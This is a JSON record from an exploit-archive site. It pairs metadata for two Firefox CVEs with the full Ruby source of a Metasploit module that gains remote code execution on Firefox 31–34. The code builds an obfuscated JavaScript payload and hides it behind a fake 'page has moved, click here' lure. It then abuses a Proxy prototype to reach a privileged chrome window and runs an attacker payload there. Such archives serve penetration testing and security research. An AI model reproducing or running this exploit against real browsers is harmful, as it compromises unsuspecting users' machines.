{"exploit":{"id":"MSF-multi--browser--firefox_proxy_prototype","name":"Firefox Proxy Prototype Privileged Javascript Injection","description":"This exploit gains remote code execution on Firefox 31-34 by abusing a bug in the XPConnect component and gaining a reference to the privileged chrome:// window. This exploit requires the user to click anywhere on the page to trigger the vulnerability.","cves":["CVE-2014-8636","CVE-2015-0802"],"author":"joev","published":"2014-01-20","platform":"Firefox,Java,Linux,OSX,Solaris,Windows","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/ab00b9e7e08b1fdc68bdba12de6db2aa4436815e/modules/exploits/multi/browser/firefox_proxy_prototype.rb","path":"modules/exploits/multi/browser/firefox_proxy_prototype.rb","revision":"ab00b9e7e08b1fdc68bdba12de6db2aa4436815e","filename":"firefox_proxy_prototype.rb","vulnerabilities":[{"id":"CVE-2014-8636","state":"PUBLISHED","title":null,"titleSource":null,"description":"The XrayWrapper implementation in Mozilla Firefox before 35.0 and SeaMonkey before 2.32 does not properly interact with a DOM object that has a named getter, which might allow remote attackers to execute arbitrary JavaScript code with chrome privileges via unspecified vectors.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2014-8636","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2014-8636"},"updatedAt":"2024-08-06T13:26:02.238Z","retrievedAt":"2026-11-27T00:19:23.130Z","stale":false,"error":null},{"id":"CVE-2015-0802","state":"PUBLISHED","title":null,"titleSource":null,"description":"Mozilla Firefox before 37.0 relies on docshell type information instead of page principal information for Window.webidl access control, which might allow remote attackers to execute arbitrary JavaScript code with chrome privileges via certain content navigation that leverages the reachability of a privileged window with an unintended persistence of access to restricted internal methods.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2015-0802","cvss":{"version":"2.0","baseScore":5,"severity":"medium","vectorString":"AV:N/AC:L/Au:N/C:N/I:P/A:N","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2015-0802"},"updatedAt":"2024-08-06T04:26:11.024Z","retrievedAt":"2026-11-27T00:10:01.082Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-multi--browser--firefox_proxy_prototype.png?v=2","url":"https://exploitbin.com/exploits/MSF-multi--browser--firefox_proxy_prototype","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--browser--firefox_proxy_prototype/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--browser--firefox_proxy_prototype/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'rex/exploitation/jsobfu'\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ManualRanking\n\n  include Msf::Exploit::Remote::BrowserExploitServer\n  include Msf::Exploit::Remote::FirefoxPrivilegeEscalation\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Firefox Proxy Prototype Privileged Javascript Injection',\n        'Description' => %q{\n          This exploit gains remote code execution on Firefox 31-34 by abusing a bug in the XPConnect\n          component and gaining a reference to the privileged chrome:// window. This exploit\n          requires the user to click anywhere on the page to trigger the vulnerability.\n        },\n        'License' => MSF_LICENSE,\n        'Author' => [\n          'joev' # discovery and metasploit module\n        ],\n        'DisclosureDate' => '2014-01-20',\n        'References' => [\n          ['CVE', '2014-8636'], # proxy injection\n          ['CVE', '2015-0802'], # can access messageManager property in chrome window\n          ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=1120261'],\n          ['URL', 'https://www.rapid7.com/blog/post/2015/03/23/r7-2015-04-disclosure-mozilla-firefox-proxy-prototype-rce-cve-2014-8636' ]\n\n        ],\n        'Targets' => [\n          [\n            'Universal (Javascript XPCOM Shell)', {\n              'Platform' => 'firefox',\n              'Arch' => ARCH_FIREFOX\n            }\n          ],\n          [\n            'Native Payload', {\n              'Platform' => %w{java linux osx solaris win},\n              'Arch' => ARCH_ALL\n            }\n          ]\n        ],\n        'DefaultTarget' => 0,\n        'BrowserRequirements' => {\n          :source => 'script',\n          :ua_name => HttpClients::FF,\n          :ua_ver => lambda { |ver| ver.to_i.between?(31, 34) }\n        },\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options([\n      OptString.new('CONTENT', [ false, \"Content to display inside the HTML <body>.\" ])\n    ])\n  end\n\n  def on_request_exploit(cli, request, target_info)\n    send_response_html(cli, generate_html(target_info))\n  end\n\n  def default_html\n    \"The page has moved. <span style='text-decoration:underline;'>Click here</span> to be redirected.\"\n  end\n\n  def generate_html(target_info)\n    key = Rex::Text.rand_text_alpha(5 + rand(12))\n    frame = Rex::Text.rand_text_alpha(5 + rand(12))\n    r = Rex::Text.rand_text_alpha(5 + rand(12))\n    opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin\n\n    js = js_obfuscate %Q|\n      var opts = #{JSON.unparse(opts)};\n      var key = opts['#{key}'];\n      var props = {};\n      props.has = function(n){\n        if (!window.top.x && n=='nodeType') {\n          window.top.x=window.open(\"chrome://browser/content/browser.xul\", \"x\",\n            \"chrome,,top=-9999px,left=-9999px,height=100px,width=100px\");\n          if (window.top.x) {\n            Object.setPrototypeOf(document, pro);\n            setTimeout(function(){\n              x.location='data:text/html,<iframe mozbrowser src=\"about:blank\"></iframe>';\n\n              setTimeout(function(){\n                x.messageManager.loadFrameScript('data:,'+key, false);\n                setTimeout(function(){\n                  x.close();\n                }, 100)\n              }, 100)\n            }, 100);\n          }\n        }\n      }\n      var pro = Object.getPrototypeOf(document);\n      Object.setPrototypeOf(document, Proxy.create(props));\n    |\n\n    %Q|\n      <!doctype html>\n      <html>\n        <body>\n          <script>\n            #{js}\n          </script>\n          #{datastore['CONTENT'] || default_html}\n        </body>\n      </html>\n    |\n  end\nend\n","sha256":"aeac5564d6dea23c0a42095ab8f60d99e8031c9e72acb34d8f258b5d966b980b","bytes":3926,"fetchedAt":"2026-11-27T00:09:57.727Z","encoding":"utf-8 (display only; download retains original bytes)"}